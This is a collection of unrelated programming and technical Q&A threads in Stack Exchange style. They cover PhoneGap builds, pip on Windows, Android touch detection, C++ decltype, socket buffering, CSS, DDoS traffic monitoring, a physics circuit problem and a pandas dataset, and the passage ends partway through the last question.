text:
Q: Phonegap building template issues I'm studying the phonegap-push-plugin and I already use it on Android. I'm working with DevExtreme, a phonegap-based platform.
I saw there is just released the cordova 7.0.1 and I hope this can help me, since the push didn't work on iOS.
But, now, I have problem. With the online tool (https://build.phonegap.com), when I try to buld the template, the push plugin isn't included in the apk file (I checked this opening it as a zip file) and the ipa file isn't built because I get an error.
Here an extract from the log:

Blockquote The file "GoogleService-Info.plist" couldn't be opened because there is no such file.
Blockquote [...]
  Blockquote "** ARCHIVE FAILED **
The following build commands failed: CopyPlistFile
  /Users/phonegap/Library/Developer/Xcode/DerivedData/Selfnet-cuvcjbwqnhuixzdmlmoklhnfmyqf/Build/Intermediates/ArchiveIntermediates/Selfnet/InstallationBuildProductsLocation/Applications/Selfnet.app/GoogleService-Info.plist
  /tmp/private/tmp/gimlet/2726929/project/Selfnet/Resources/GoogleService-Info.plist
  (1 failure) Error code 65 for command: xcodebuild [...]"

Here my config.xml file:
<widget id="com.devexpress.apptemplate" version="1.0" versionCode="1">
  <name>ApplicationTemplate</name>
  <description>Template</description>

  <preference name="phonegap-version" value="cli-7.0.1" />
  <preference name="permissions" value="none" />
  <preference name="prerendered-icon" value="true" />
  <preference name="android-windowSoftInputMode" value="adjustPan" />
  <preference name="SplashScreen" value="splash" />
  <preference name="SplashScreenDelay" value="60000" />
  <preference name="AutoHideSplashScreen" value="false" />
  <preference name="SplashShowOnlyFirstTime" value="false" />
  <preference name="FadeSplashScreen" value="false" />
  <preference name="ShowSplashScreenSpinner" value="false" />
  <preference name="DisallowOverscroll" value="true" />
  <preference name="StatusBarOverlaysWebView" value="false" />
  <preference name="StatusBarBackgroundColor" value="#000000" />
  <preference name="android-minSdkVersion" value="15" />
  <preference name="android-targetSdkVersion" value="22" />
  <!--<plugin name="cordova-plugin-file" />-->
  <plugin name="cordova-plugin-geolocation" />
  <plugin name="cordova-plugin-splashscreen" onload="true" />
  <plugin name="cordova-plugin-whitelist" />
  <plugin name="cordova-plugin-ios-longpress-fix" />
  <plugin name="cordova-plugin-statusbar" onload="true" />
  <plugin spec="https://github.com/phonegap/phonegap-plugin-push.git" source="git" />
  <platform name="android">
   <resource-file src="google-services.json" target="google-services.json" />
  </platform>
  <platform name="ios">
   <resource-file src="GoogleService-Info.plist" />
  </platform>

  <access origin="*" />
</widget>

Both the GoogleService file (iOS and Android) are in the root folder, the same as the file config.xml.

A: Summarized all the steps here: https://programmingistheway.wordpress.com/2017/07/19/devextremephonegap-how-to-manage-push-notifications-with-fcm/


text:
Q: Cannot pip install scipy, mlxtend and math libraries I am using python 3.5 on windows 10. I am not able to install some libraries like scipy, mlxtend and math.
I have installed and upgraded setuptools and ez_setup following this answer
Python pip install gives "Command "python setup.py egg_info" failed with error code 1"
When I try to pip install scipy and mlxtend I get the following error:
NotFoundError: no lapack/blas resources found
And when I try to install math I get the following error:
  Using cached Math-0.5.tar.gz
Complete output from command python setup.py egg_info:
Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "C:\Users\raisa\AppData\Local\Temp\pip-build-e23g412r\math\setup.py", line 2, in <module>
    raise RuntimeError("Package 'Math' must not be downloaded from pypi")
RuntimeError: Package 'Math' must not be downloaded from pypi

----------------------------------------
Command "python setup.py egg_info" failed with error code 1 in C:\Users\raisa\AppData\Local\Temp\pip-build-e23g412r\math\

A: On Windows, you'll want to locate the unofficial binaries here and download the appropriate .whl files for the packages you're wanting to install. Use pip to install and upgrade wheel and setuptools then do pip install the_name_of_the_file.whl
so altogether, assuming you want to install matplotlib and the .whl file is in your current directory...
pip install wheel
pip install --upgrade setuptools
pip install matplotlib‑1.5.3‑cp35‑cp35m‑win32.whl

redpajama_set_name: RedPajamaStackExchange


text:
Q: Как отслеживать нажатия по определенной часть моего CustomView?
Добрый день.
Вопрос такой - есть кастомная вью. Круг, поделенные на 4 части разных цветов. Хочу отслеживать нажатие по области, в которую входит один цвет, и исходя из этого уже делать дальнейшую обработку.
Проблема в том, что я не понимаю, как это реализовать. Я могу забирать координаты по нажатию, но мне нужно записать куда то область, в которую входит например зеленый цвет, и обработать (если координаты входят в эту область, то...какие то действия).
Подскажите, как это реализовать?

A: Начиная с API 19 для детектирования нажатия на любые сложные формы, в том числе и сектор круга, можно использовать такой подход. Создаем Path области, им же, как правило, и рисуем. При касании создаем второй тестовый Path - квадрат в точке касания размером в один пиксель. Методом op делаем операцию INTERSECT оставляя общую область, далее если проверочный Path не пустой - значит мы нажали на нужной области. Пример который протестировал. Обратите внимание как создается сектор круга, в инете я пример не нашел.
public class ViewPath extends View{
    Path path;
    Paint paint;
    public ViewPath( Context context ){
        super( context );
        path = new Path();
        RectF rect = new RectF(200,100,200+500,100+500);
        path.moveTo( rect.centerX(), rect.centerY() );
        path.arcTo( rect, 0, 90, false );
        paint = new Paint( Paint.ANTI_ALIAS_FLAG );
        paint.setColor( 0xfff00000);
    }

    @Override
    protected void onDraw( Canvas canvas ){
        super.onDraw( canvas );
        canvas.drawPath( path, paint );
    }

    @Override
    public boolean onTouchEvent( MotionEvent event ){
        if( event.getAction() == MotionEvent.ACTION_DOWN ){
            Path path_test = new Path();
            float x = event.getX();
            float y = event.getY();
            path_test.addRect( x, y, x+1, y+1, Path.Direction.CW );
            path_test.op( path, Path.Op.INTERSECT );
            if( !path_test.isEmpty() ){
                Toast.makeText( this.getContext(), "OK!", Toast.LENGTH_SHORT ).show();
            }
        }
        return super.onTouchEvent( event );
    }
}


text:
Q: Create a curvy hole on a container Background - React Native 0
I currently received a navbar mockup and it has a curved hole in the center of it, I managed to do something similiar but I cant seem to get an idea on how to make the edges curved aswell, is there a way to curve a border or something, can you guys give me a hint. Here's what I have
<View
  style={{
    width: 80,
    height: 80,
    zIndex: 10,
    backgroundColor: LightMode.BackgroundGrey,
    borderRadius: 50,
    alignItems: 'center',
    justifyContent: 'center',
  }}>
  <View
    style={{
      width: 50,
      height: 50,
      borderRadius: 50,
      backgroundColor: LightMode.Wocky,
      alignItems: 'center',
      justifyContent: 'center',
    }}>

Which is this
And here is what I want, currently the way i did I cant even had an elevation on the curved part :(


text:
Q: how to add dynamically code before body tag using wordpress hook or filter I am working on developing a WordPress plugin. I want to add some content before body tag and after head tag.
As a example:
</head>
    some code add here dynamically  using hook or plugin or any other way to add code here (html content dynamically )
<body>

A: The HTML standards do not allow something to be between </head> and <body>, I think.
Besides that, what do you think should be placed there? And how would you call that area when viewing the whole document?

A: You can use this --
add_action( 'wp_head', array( $this, 'your_function' ), 1 );

function your_function(){
    echo "your tag here";
}


text:
Q: Can the names of the broker channels in Spring Stomp websockets which are registry.enableSimpleBroker("/topic", "/queue") be changed? I have stumbled over this code countless time when reading on stomp and websocket for springboot
  @Override
public void configureMessageBroker(MessageBrokerRegistry registry) {
    registry.enableSimpleBroker("/topic", "/queue");
}

or
    @Override
public void configureMessageBroker(MessageBrokerRegistry registry) {
    registry.enableSimpleBroker("/topic", "/queue", "user");
}

which makes me wonder, if these channels are constant channels or they can be changed and if this are constant channels, what are their individual purposes. I have read so much article, but this would enable me understand websocket more.


text:
Q: Default handler for a functional class in JavaScript I wanted to know if it is possible to have a functional class have a default call method. Let me elaborate.
function Foo(){
  /*some logic*/
  Foo.prototype.aletUser = function alertUser(message) {
    alert(message);
  }
}

Assume that the code above is my functional class (if my naming for the above structure is wrong please tell me), and i instantiated one of this structure.
let param = new Foo();

Now, i wish to call the following and hope for it to call my prototype Foo.alertUser
param('Hey There')

How can this be achieved? Thanks in advance.

More insight behind my approach
I am working with React Native and i wish to have param('Hey There') use a hook inside the function but i am out of ideas, i know how to make it work with JavaScript classes, but unfortunately hooks can not be called inside class components.

A: Answering the question you actually asked, it's possible but probably not a good idea. One way to do it is to have new Foo create a function and then change its prototype (which is normally not a good idea), like this:

function Foo() {
    // Create a function, the change its prototype to
    // `Foo.prototype` and return it
    const retval = function alertUser(param) {
        console.log(param);
    };
    Object.setPrototypeOf(retval, Foo.prototype);
    return retval;
}
// Make `Foo.prototype` use `Function.prototype` as its prototype
Foo.prototype = Object.create(Function.prototype);
Foo.prototype.constructor = Foo;

const param = new Foo();
param("Hi there");

But, again, that's probably not a good idea, for a couple of reasons:

*

*Changing an object's prototype can deoptimize the JavaScript engine's implementation of it. Now, it may not matter for what you're using this for, it depends on whether it's critical path (and the degree that the deoptimization is noticeable), so it's certainly an option.

*You've said you're trying to do this so you can use a hook in a class component. As I said in a comment, that's probably not going to work and even if it does, it's probably not your best solution
I would step back and say if you find yourself wanting to call a hook from a class component, your best bet is to either:

*

*Build class-based functionality equivalent to the hook and don't use the hook, or

*Change the class component to a functional component so you can use the hook in the normal way


text:
Q: int a=3; int *p=&a; decltype (a) k1; decltype (*p) k2; k1 is int type and k2 is int& type why? Code
#include <iostream>
int main()
{
    int a=3;
    int *p=&a;

    decltype (a) k1;
    decltype (*p) k2;

    return 0;
}

Output
Declaration of reference variable 'k2' requires an initializer

Explanation given to such phenomena is " decltype returns a reference type for expression that yield objects that can stand on the LHS of the assignment"
see what *p yields value of of the object it points means 3 and what a yields value of itself which is  3.
Now we talk manipulatively that *p refers to object a then a also refers to a itself.
So I am not digesting the explanation given for such phenomena.

A: a is an unparenthesised id expression.
*p is not an id expression. It is an indirection operation.
decltype behaves differently when the operand is an unparenthesised id expression than when the operand is not an unparenthesised id expression.
decltype of an unparenthesised id expression doesn't yield a reference type but rather the type of the entity named by the id expression. The type of the entity named by a is int.
decltype of a non-unparenthesised-id-expression may yield either an lvalue reference or an rvalue reference or a non-reference depending on the value category of the expression. *p is an lvalue expression, so decltype (*p) yields an lvalue reference i.e. int&.

see what *p yields value of of the object it points means 3 and what a yields value of itself which is 3.

There is no difference between the expressions a and *p in regards to what the expressions themselves yield. They are both lvalue expressions of the same type and name the same object.
The distinction is that one is an unparenthesised id-expression and thus applies for the exceptional case of decltype while the other is not.

A: Reference in its essence is not so different from a pointer. They are both referring to the object in memory. But I believe you already know that.
The thing with decltype is that it returns reference in this case. As pointed out in another answer here and mentioned here,
*p is the built-in indirection expression which is an lvalue. So decltype does this:

b) if the value category of expression is lvalue, then decltype yields T&;

You can also verify this:
std::cout << "*p and int are the same type? " << std::boolalpha
          << std::is_same_v<decltype(*p), int> << '\n'
          << "*p and int& are the same type? "
          << std::is_same_v<decltype(*p), int&> << '\n';

A: According to cppreference for
decltype ( expression )

If the argument is any other expression of type T, and  if the value category of expression is lvalue, then decltype yields T&;

So now lets look at your example. In particular, we have :
decltype (*p) k2;

The "thing" inside the parenthesis () is an expression. That is, *p is an expression. Now there are two important thing:

*

*The type of this expression is int.

*The value category of this expression is an lvalue.

And so according to the above quoted statement, the result will be T& or int& in our case.
And since we must always initialize a reference, so you get the said error.


text:
Q: Removing highlighting when selecting feature in Arcmap Whenever I select a feature in an attribute table it gets highlighted which prevents me from seeing the symbology of that feature. I tried choosing No Color in the appearance option, but that results in it being highlighted white.
This is what it looks like after a select by attribute query (how I'd like it)

But this is how it appears when I double click the feature to go to it

Anyone know a way to make it hollow or adjust the transparency?

A: You are in Selected Records Only mode in a Table View. Highlighted records are always opaque (No Color is white, not transparent). Solutions after highlighting: Toggle between Show Selected Records mode and Show All Records mode to show or hide highlighting without removing highlighting. To remove highlighting click far left of one record to switch from group highlighting to single record, then hold the Ctrl key and click far left side of that record to remove highlighting from the last record. Solutions without highlighting: Right click the far left of a record and choose Pan To or Zoom To.


text:
Q: C++ socket 256 byte buffer I am trying to use some socket network programming in C++. I am trying to send the text "Hello World!" to a server using the C++ send() function. At first, I set the buffer to the size of 13 since "Hello World!" altogether is 12 characters (you have to make it one more than the character count). The send function only sends the characters to the server if I send it about 7 times. And when it does finally come to the server it looks like this:
"Hello World! Hello World! Hello World! Hello World! Hello World! Hello World! Hello World!"
Now here is the funny part. The "Hello World!" sentence sends immediately if I set the buffer size to 256 (char buffer[256];). When it comes to the server like that though, it shows "Hello World!" with a whole bunch of space after the two words. Why is this happening and if possible, how can I fix it? Please let me know.
Thanks

A: When you call read (or receive) with your buffer to read from the socket, an integer value is returned that specifies the number of bytes read. You should only take that much from the buffer. The rest is irrelevant:
int count = read(...);
// buffer[0 .. count - 1] contains the appropriate data.

A: Nagle's algorithm usually is turned on by default.  This will combine several small packets into one.  Turning Nagle's algorithm off will allow small packets to be sent immediately.

A: Buffers exist to store data until you are ready to send it. You have a send buffer size of 256. Until 256 characters are transmitted through the buffer, your data won't be sent to the other side. You can fix this by calling a flush method on your buffer when you know you are ready to send.
To be clear, you are buffering internally, then the OS (or library) is buffering again when you call send() and pass some data.
If you get more specific with what library you are using and maybe include a code snippet, we can probably find the right buffer flush function to send you on your way with.
Alternatively, if you are in *nix, just turn off Nagle's algorithm so that the OS won't buffer your small packets. Or, when you set up you socket, make sure to use the TCP_NODELAY option

A: Assuming this is a SOCK_STREAM socket, the important thing to be aware of is that the underlying TCP protocol does not maintain any segment boundaries. That is, when you call send() multiple times, all of the data you sent may very easily be returned by a single recv() call at the other end. Or, the data sent in one send() call may be returned in multiple recv()s at the other end, e.g. if some packets got delayed due to network congestion. This is fundamental to the design of TCP, and your application must be designed accordingly.
Also, as noted by Mehrdad, the recv() call returns the number of bytes that were read off the wire. Anything after that point in the buffer is garbage, and the data is not zero-terminated.
A SOCK_DGRAM socket uses UDP underneath, which is entirely packet-oriented, as opposed to stream-oriented like TCP. However, UDP does not guarantee reliability (the U stands for Unreliable), so you have to handle lost, duplicated, out-of-order etc. packets yourself. This is a lot harder than stream-oriented I/O.

A: Socket programming is tedious, error prone and non portable. Start using libraries like Boost or ACE that shield you from the low level C APIs and provide you with platform independent abstractions.


text:
Q: sliding responsive nav - flash on load and responsive page I have made my own responsive nav using css and jquery for the nav. I want the nav to fade in on burger button click and slide into view. I have this working well. However, when the page loads or the page is made smaller, the nav is shown briefly before sliding away.
see link
www.update.jonfullerwebdesign.co.uk
nav {
position: fixed;
width: 100%;
background: rgba($dark-grey, .8);
display: flex;
justify-content: space-between;
align-content: center;
align-items: center;
min-height: 50px;
z-index: 999;

@include desktop {
    background: rgba($dark-grey, .7);

}

.logo {
    width: 52px;
    position: absolute;
    left:15px;
    top:10px;
    z-index: 20;
    @include desktop {
        top: 8px;
    }

}
.menu-button {
    position: absolute;
    top:15px;
    right:15px;
    z-index: 200;

    @include desktop {
        display:none;
    }

}

ul {
    width: 100vw;
    height: 100vh;
    opacity: 0;
    display: flex;
    // position: absolute;
    transform: translateX(-100%);
    top: 0;
    background: inherit;
    flex-direction: column;
    justify-content: center;
    transition: all 800ms ease-in;

    @include desktop {
        position: relative;
        display: flex;
        opacity: 1;
        transform: translateX(0);
        height: auto;
        flex-direction: row;
        justify-content: center;
        align-content: center;
        align-items: center;
        transition: none;
        background: none;

    }

    li {
        display: block;
        text-align: center;
        margin-bottom: 30px;

        @include desktop {
            margin-bottom: 0;
            margin-left: 3%;
            margin-right: 3%;
        }

        a {
            display: block;
            width: 100%;
            padding: 1px;
            color: white;
            font-size: 44px;
            font-weight: 300;
            text-decoration: none;
            text-transform: uppercase;
            padding: 30px 0;

            &:hover,
            &:focus {
                color:$brand-blue;
            }
            @include desktop {
                font-size: 22px;
                padding: 5px;
            }
        }
        .active {
            color: $brand-blue;
        }
    }
}

.shown {
    opacity: 1;
    transform: translateX(0);
    padding-top: 40px;
    padding-bottom: 40px;
    display: flex;

    @include desktop {
        padding: 0;
    }
}

}

$(document).ready(function(){
  $(".menu-button").click(function(){
   $("nav ul").toggleClass("shown")
 });
});

A: You need to include the new transition values within your media query. Your current default is transform: translateX(0);
@media (min-width: 62rem){
    nav ul {
        -webkit-transform: translateX(-100%);
        -ms-transform: translateX(-100%);
        transform: translateX(-100%);
    }
}


text:
Q: How can I speed up this IronPython code that generates a string of arbitrary size I have a python script that runs within a C# application (the source of which I cannot control), and I want this script to generate a file of an arbitrary size. The data in this file does not matter. I wrote the following code:
def generateFile(filename, size):
    file = open(filename, 'wb')
    file.write(''.join('0' for _ in range(size)))
    file.close()

IronPython integration in this C# application is very slow overall, but mostly acceptable. This piece of code however is too slow. It takes around 20 seconds to generate a 1KB file, and I need to generate files of around 1M or more.
After some investigation it seems that the slowness comes mainly from generating the string that is used to write to the file.
Is there another method of achieving the same task, but in faster, acceptable time?

A: I don't see how it can possibly be that slow;
Regardless, this may help; instead of making a megabyte string all at once, I generate 32K and reuse it as many times as are needed. You can play with the chunk size to see what works best.
On my machine, this writes a 100MB file in 0.81 seconds.
CHUNK_SIZE = 32768       # 32k (arbitrary choice)

def generateFile(filename, bytes):
    n, r = divmod(bytes, CHUNK_SIZE)
    chunk = "0" * CHUNK_SIZE
    with open(filename, 'w') as outf:
        for _ in range(n):
            outf.write(chunk)
        outf.write(chunk[:r])

A: You can use
file.write('0'.zfill(size))


text:
Q: Fatal Python error: PyEval_RestoreThread: NULL tstate , live data plot , matplotlib, python I am currently managing to show the updating live data with matplotlib, python.
But I see the error.
my code :

    plt.rcParams['animation.html'] = 'jshtml'
    fig = plt.figure()
    ax = fig.add_subplot(111)
    fig.show()

    i = 0
    plot_x , plot_y = [], []

    while True :

        ###some code to get live updating x_in_data###

        x_in_data = np.reshape(x_in, (1))

        print(x_in_data)

        plot_x.append(i)
        plot_y.append(x_in_data[0])
        ax.plot(plot_x, plot_y, color='b')
        fig.canvas.draw()

        ax.set_xlim(left=max(0, i-50), right= i+50)

        time.sleep(0.1)
        i += 1

I see this error message :
Fatal Python error: PyEval_RestoreThread: NULL tstate
Python runtime state: initialized
Current thread 0x00004fc4 (most recent call first):
It plots actually a small graph window, but not working.
Every solution that i found on the internet is not working for my case.
I wonder if it is the problem how the value is updated :
The data value is actually updated with newline,
[-18.75235738]
[-19.02642986]
[-18.75235738]
[-19.02642986]
[-18.75235738]
[-19.02642986]
[-18.92591474]
[-18.75235738]
like this ,and it is not being updated by changing itself.
I would like to know if it is related with the updating method or not.
Or I would like to also know it there is an efficient way to plot the "new line updating value".

A: Adding fig.canvas.flush_events() after fig.convas.draw() solves the issue.
# ==========Working sample of your code===========
import matplotlib.pyplot as plt
import time
import numpy as np

plt.rcParams['animation.html'] = 'jshtml'
fig = plt.figure()
ax = fig.add_subplot(111)
fig.show()

i = 0
plot_x, plot_y = [], []

while True:
    ###some code to get live updating x_in_data###

    x_in_data = np.reshape(10, (1))

    print(x_in_data)

    plot_x.append(i)
    plot_y.append(x_in_data[0])
    ax.plot(plot_x, plot_y, color='b')
    fig.canvas.draw()

    ax.set_xlim(left=max(0, i - 50), right=i + 50)
    fig.canvas.flush_events()
    time.sleep(0.1)
    i += 1

Referenced from: https://pythonguides.com/matplotlib-update-plot-in-loop/


text:
Q: Rails 3.2 Rendering Associated Models in Same Form i'm working through Hartl. Ive got to the microposts section in Chapter 10, but instead of microposts I have introduced Hotels, and now I want to add them to a separate address model, like in this tutorial. I am having some trouble - my view field does not appear to enter the address
<%= form_for(@hotel) do |f| %>
  <%= render 'shared/error_messages', object: f.object %>

    <%= f.text_field :title, placeholder: "New hotel title..." %>
    <%= f.text_area :room_description, placeholder: "About room..." %>
    <%= f.text_field :price, placeholder: "Price?" %>
    <%= f.check_box :include_breakfast%>
    <%= f.label "Include breakfast?", class: "checkbox inline" %>

<% ["1 star", "2 star", "3 star", "4 star", "5 star"].each do |item| %>
  <%= f.radio_button :star_rate_hotel, item %> <%= item %>

<% end %>
<% f.fields_for :address do |address| %>
    <%= f.text_field :street, placeholder: "Street-address..." %>
    <%= f.text_field :extended, placeholder: "Extended-address..." %>
    <%= f.text_field :locality, placeholder: "Locality..." %>
    <%= f.text_field :region, placeholder: "Region..." %>
    <%= f.text_field :country, placeholder: "Country..." %>
<% end %>

 Upload photo hotel(optionaly)
<%= f.file_field :photo %>

  <%= f.submit "Post", class: "btn btn-large btn-primary" %>
<% end %>

My hotel_controller.rb
class HotelsController < ApplicationController
  before_filter :signed_in_user, only: [:create, :destroy]
  before_filter :correct_user, only: :destroy

  def create
    @hotel = current_user.hotels.build(params[:hotel])
    @hotel.build_address
    if @hotel.save
      flash[:success]="Hotel created!"
      redirect_to root_url
    else
      @feed_items = []
      render 'static_pages/home'
    end
  end

  def destroy
    @hotel.destroy
    redirect_to root_url
  end

  private

  def correct_user
    @hotel = current_user.hotels.find_by_id(params[:id])
    redirect_to root_url if @hotel.nil?
  end

end

My user_controller.rb
class UsersController < ApplicationController
  before_filter :signed_in_user, only: [:edit, :update, :index, :destroy]
  before_filter :correct_user, only: [:edit, :update]
  before_filter :admin_user, only: :destroy

def show
  @user = User.find(params[:id])
  @hotels = @user.hotels.paginate(page: params[:page], per_page: 3)
end

  def new
    if signed_in?
      redirect_to root_path
    else
    @user = User.new
  end
  end

  def create
    if signed_in?
      redirect_to root_path
    else
    @user = User.new(params[:user])
    if @user.save
      sign_in @user
      flash[:success]="Welcome to the Hotel Advisor!"
      redirect_to @user
    else
      render 'new'
    end
    end
  end

  def  edit
  end

  def update
    if @user.update_attributes(params[:user])
      flash[:success] = "Profile updated"
      sign_in @user
      redirect_to @user
    else
      render 'edit'
    end
  end

  def index
    @users = User.paginate(page: params[:page], per_page: 7)
  end

  def destroy
    user = User.find(params[:id])
    if (current_user == user) && (current_user.admin?)
      flash[:error] = "Can not delete own admin account!"
    else
      user.destroy
    flash[:success]="User destroyed"
  end
    redirect_to users_url
  end

  private

    def correct_user
      @user = User.find(params[:id])
      redirect_to(root_path) unless current_user?(@user)
    end

    def  admin_user
      redirect_to(root_path) unless current_user.admin?
      end

end

My question is: how do I display addresses?

A: You should create your associated addresses in your new method, to create the associations at the same time as the new object is created. (to be more precise, just after the object is created).
Check the excelent Railscasts on that matter Part 1 Part 2.


text:
Q: how to track which switches, routers are being affected by ddos I have an enterprise network system which has a router facing the internet, beneath it a virtual chassis switch, below it an access layer switch and finally a server. My question is that when there is a Ddos attack, even though i have solutions to mitigate the attack on a server level my bandwidth between the router and switches gets hogged up. I want to know
a) how can i quickly know which ports of all the devices are carrying that traffic so i can quickly shut them down
b) a network mapping software which can draw the topology for me and preferably give me stats like network bandwidth being used etc.

A: Do you expect DDoS attacks to be coming from somewhere other than the Internet?  If so, wouldn't this imply that your edge router would pretty much provide the definitive source of information about traffic surges and such?
Anyhow - as far as the router is concerned, Netflow/sflow (depending on vendor in use) provides both good analytics about the source, destination and type of traffic in use as well as packets per second, overall volume, AS information, etc.  There are commercial tools that specialize in DDoS detection from this information (i.e. the Arbor products) as well as a wide variety of open source options that can be set up (in conjunction with appropriate packages) to alarm when certain thresholds are reached, etc.  The added benefit here is also that the information can provide historical records of when attacks began, ended, etc.  There's also obviously the other major benefit of being able to provide tons of information for capacity planning, traffic engineering, etc.

A: Most competent Monitoring suites can do this. Anything based on nagios should handle this without breaking a sweat, as would zenoss. There are a vasty constellation of products out there that do this, both HP and Dell offer stuff that can do this as part of their software suites, and a whole host of commercial products (some of which are also based on the two free products I've already mentioned).
Most of these allow you to set alert thresholds for when certain things happen, like uplink ports exceeding 90% utilization.


text:
Q: using scale and transform together for an object How can I use both transform's scale and translate method with css?
body{
  transform: scale(.5);
  transform: translate(-50%,0);
}

Obviously, the above css rule (the last one) overrides the previous line of rule transform: scale(.5) and it just applies translate.
So, is there any way that I can use both for an object?
Here object means the group of divs.

A: Put them together.
body{
  transform: scale(.5) translate(-50%,0);
}


text:
Q: How to determine current as a function of time in an RLC circuit with variative capacitor? I was given this problem:

The image shows an RLC circuit which consist of a constant voltage source $\varepsilon$, an inductor with inductance of $L$, a resistor with resistance of $R$, and a capacitor, which consist of two conductor plates and one of the plate (with mass $m$ may move freely. Both plates are connected with two springs with constant of $k$. It is known that the freely-move-plate is applied with an external force of $p(t)$, with $$ p(t) = p_0 \sin(\omega t) $$ When the spring is in equilibrium, the capacitor have capacitance of $C_0$ and the spring has length of . I was asked to determine the current in the circuit as a function of time $L(t)$.
So the first thing that I had in mind is to find the function of distance between the capacitor plates as a function of time ($d(t)$).
In this case, the external force is opposed by spring force of the two spring. Therefore,
$$ p(t) = -2kx(t) $$
$$ p_0 \sin(\omega t) = -2kx(t) $$
$$ x(t) = -\frac{p_0}{2k} \sin(\omega t) $$
Thus, the distance between the two plates is
$$ d(t) = a -\frac{p_0}{2k} \sin(\omega t) $$
We know that the capacitance between two parallel plates is
$$ C = \frac{\varepsilon_0 A}{d} $$
therefore,
$$ C(t) = \frac{\varepsilon_0 A}{a -\frac{p_0}{2k} \sin(\omega t)} $$
At equilibrium position, we know that
$$ C = C_0 = \frac{\varepsilon_0 A}{a} $$
$$ \varepsilon_0 A = C_0 a $$
Thus, we'll get the capacitance as a function of time,
$$ C(t) = C_0 \frac{a}{a -\frac{p_0}{2k} \sin(\omega t)} $$
After I get this function, I tried to apply it to a function related to the circuit. The total voltage between inductor, resistor, and the capacitor is
$$ V_L + V_R + V_C = \varepsilon $$
$$ L \frac{d^{2}q}{dt^2} + R \frac{dq}{dt} + \frac{1}{C} q = \varepsilon $$
$$ L \frac{d^{2}q}{dt^2} + R \frac{dq}{dt} + \frac{1}{C_0} \frac{a -\frac{p_0}{2k} \sin(\omega t)}{a} q = \varepsilon $$
My hunch told me to find the function of $q(t)$ from this equation, and determine the first derivative as $I(t)$. But, after I tried methods to find a solution for a second-order differential equation, I can't find the right way. There is another function of time as the coefficient of $q$ in the equation. I think I haven't studied that far.
So, is my work here "on-point"? Am I getting closer to find the solution or just wandering off indistinctly?


text:
Q: Python PANDAS get averages across multiple slices of data Consider the following dataset:
import pandas as pd

data = {"store_name":{"0":"StoreName","1":"StoreName","2":"StoreName","3":"StoreName","4":"StoreName",
                      "5":"StoreName","6":"StoreName","7":"StoreName","8":"StoreName","9":"StoreName",
                      "10":"StoreName","11":"StoreName","12":"StoreName","13":"StoreName","14":"StoreName",
                      "15":"StoreName","16":"StoreName","17":"StoreName","18":"StoreName","19":"StoreName",
                      "20":"StoreName","21":"StoreName","22":"StoreName","23":"StoreName","24":"StoreName",
                      "25":"StoreName","26":"StoreName","27":"StoreName","28":"StoreName","29":"StoreName",
                      "30":"StoreName","31":"StoreName","32":"StoreName","33":"StoreName","34":"StoreName",
                      "35":"StoreName","36":"StoreName","37":"StoreName","38":"StoreName","39":"StoreName",
                      "40":"StoreName","41":"StoreName","42":"StoreName","43":"StoreName","44":"StoreName",
                      "45":"StoreName","46":"StoreName","47":"StoreName","48":"StoreName","49":"StoreName"},
        "category":{"0":"Facial Care","1":"Food","2":"Food","3":"Food","4":"Food","5":"Food",
                    "6":"Soap & Bath","7":"Soap & Bath","8":"Facial Care","9":"Condiments & Sauces",
                    "10":"Yoga & Home Fitness","11":"Yoga & Home Fitness","12":"Honey & Sweeteners",
                    "13":"Honey & Sweeteners","14":"Honey & Sweeteners","15":"Honey & Sweeteners",
                    "16":"Honey & Sweeteners","17":"Honey & Sweeteners","18":"Honey & Sweeteners",
                    "19":"Honey & Sweeteners","20":"Honey & Sweeteners","21":"Honey & Sweeteners",
                    "22":"Candies Desserts & Toppings","23":"Honey & Sweeteners","24":"Honey & Sweeteners",
                    "25":"Honey & Sweeteners","26":"Dog","27":"Dog","28":"Cat","29":"Cat",
                    "30":"Cooking & Meal Ingredients","31":"Snacks","32":"Snacks","33":"Cooking & Meal Ingredients",
                    "34":"Cooking & Meal Ingredients","35":"Cooking & Meal Ingredients","36":"Bars, Cereals & Granolas",
                    "37":"Bars, Cereals & Granolas","38":"Candies Desserts & Toppings","39":"Cooking & Meal Ingredients",
                    "40":"Cooking & Meal Ingredients","41":"Snacks","42":"Snacks","43":"Cooking & Meal Ingredients",
                    "44":"Cooking & Meal Ingredients","45":"Cooking & Meal Ingredients","46":"Cooking & Meal Ingredients",
                    "47":"Snacks","48":"Cooking & Meal Ingredients","49":"Sun & Bug"},
        "brand":{"0":"Brand1","1":"Brand2","2":"Brand2","3":"Brand2","4":"Brand2","5":"Brand2",
                 "6":"Brand3","7":"Brand3","8":"Brand3","9":"Brand4","10":"Brand5","11":"Brand5",
                 "12":"ƒBrand6","13":"Brand6","14":"Brand6","15":"Brand6","16":"Brand6","17":"Brand6",
                 "18":"Brand6","19":"Brand6","20":"Brand6","21":"Brand6","22":"Brand6","23":"Brand6",
                 "24":"Brand6","25":"Brand6","26":"Zuke\'s","27":"Zuke\'s","28":"Zuke\'s","29":"Zuke\'s",
                 "30":"Brand8","31":"Brand8","32":"Brand8","33":"Brand8","34":"Brand8","35":"Brand8",
                 "36":"Brand8","37":"Brand8","38":"Brand8","39":"Brand8","40":"Brand8","41":"Brand8",
                 "42":"Brand8","43":"Brand8","44":"Brand8","45":"Brand8","46":"Brand8","47":"Brand8",
                 "48":"Brand8","49":"Brand7"},
        "store_price":{"0":4.49,"1":14.45,"2":13.49,"3":14.29,"4":13.99,"5":13.99,"6":2.65,"7":3.45,
                       "8":3.95,"9":3.75,"10":3.65,"11":6.95,"12":10.75,"13":10.75,"14":4.65,
                       "15":5.69,"16":3.95,"17":6.45,"18":3.45,"19":4.95,"20":4.45,"21":4.45,
                       "22":3.79,"23":4.95,"24":7.45,"25":7.49,"26":4.99,"27":4.99,"28":2.29,
                       "29":2.95,"30":1.89,"31":3.25,"32":3.25,"33":2.99,"34":2.99,"35":2.99,
                       "36":5.25,"37":5.25,"38":3.25,"39":2.25,"40":2.89,"41":4.25,"42":4.25,
                       "43":2.25,"44":2.05,"45":1.89,"46":2.49,"47":4.25,"48":2.49,"49":4.95},
         "Comp1":{"0": None,"1":15.9,"2":13.7,"3":15.9,"4":14.59,"5":13.99,"6": None,"7": None,"8": None,"9": None,
                  "10":10.0,"11":20.0,"12":19.69,"13":20.8,"14": None,"15": None,"16": None,"17":6.18,"18": None,"19": None,
                  "20": None,"21": None,"22":5.99,"23": None,"24": None,"25":18.99,"26":6.39,"27":6.39,"28": None,"29": None,
